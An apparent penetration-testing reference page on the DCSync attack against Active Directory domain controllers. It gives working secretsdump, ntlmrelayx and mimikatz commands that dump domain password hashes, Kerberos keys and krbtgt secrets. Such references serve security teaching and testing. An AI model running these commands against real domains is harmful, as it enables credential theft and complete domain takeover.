DCSync

Theory
DCSync is a technique that uses Windows Domain Controller's API to simulate the replication process from a remote domain controller. This attack can lead to the compromise of major credential material such as the Kerberos krbtgt keys used legitimately for tickets creation, but also for tickets forging by attackers. The consequences of this attack are similar to an NTDS.dit dump and parsing but the practical aspect differ. A DCSync is not a simple copy & parse of the NTDS.dit file, it's a DsGetNCChanges operation transported in an RPC request to the DRSUAPI (Directory Replication Service API) to replicate data (including credentials) from a domain controller.
This attack requires domain admin privileges to succeed (more specifically, it needs the following extended privileges: DS-Replication-Get-Changes  and DS-Replication-Get-Changes-All). Members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups have these privileges by default. In some cases, over-privileged accounts can be abused to grant controlled objects the right to DCSync.
A setting exists in the account policy or when creating users telling the domain controller to store the user's password using reversible encryption instead of irreversible hashing. This allows attackers to retrieve the passwords in clear-text.
Practice
UNIX-like
Windows
On UNIX-like systems, this attack can be carried out with Impacket's secretsdump which has the ability to run this attack on an elevated context obtained through plaintext password stuffing, pass-the-hash or pass-the-ticket.
# using a plaintext password
secretsdump -outputfile 'something' 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'
​
# with Pass-the-Hash
secretsdump -outputfile 'something' -hashes 'LMhash':'NThash' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'
​
# with Pass-the-Ticket
secretsdump -k -outputfile 'something' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'
The secretsdump script creates the following files.
File
Content
.ntds
LM and NT password hashes
.cleartext
Passwords stored using reversible encryption
.kerberos
Kerberos keys (DES, AES128 and AES256)
.sam
Domain controller's SAM secrets​
.secrets
Domain controller's LSA secrets​
This attack can also be operated with a relayed NTLM authentication, but only if the target domain controller is vulnerable to Zerologon since the DRSUAPI always requires signing.
# target vulnerable to Zerologon, dump DC's secrets only
ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER'
​
# target vulnerable to Zerologon, dump Domain's secrets
ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER' -auth-smb 'DOMAIN'/'LOW_PRIV_USER':'PASSWORD'
On Windows, mimikatz (C) can be used lsadump::dcsync to operate a DCSync and recover the krbtgt keys for a golden ticket attack for example. For this attack to work, the following mimikatz command should run in an elevated context (i.e. through runas with plaintext password, pass-the-hash or pass-the-ticket).
# Extract a specific user, in this case the krbtgt
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
​
# Dump everything (printed in a short and readable format)
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /all /csv
For an undocumented reason, Impacket's secretsdump relies on SMB before doing a DCSync (hence requiring a CIFS/domaincontroller SPN when using Kerberos tickets) while Mimikatz relies on LDAP before doing the DCSync (hence requiring a LDAP/domaincontroller SPN when using Kerberos tickets)
Resources
DCSync Tutorial | Using, Understanding, and Detecting Mimikatz DCSync
Attack Catalog

LSASS secrets

Group Policy Preferences

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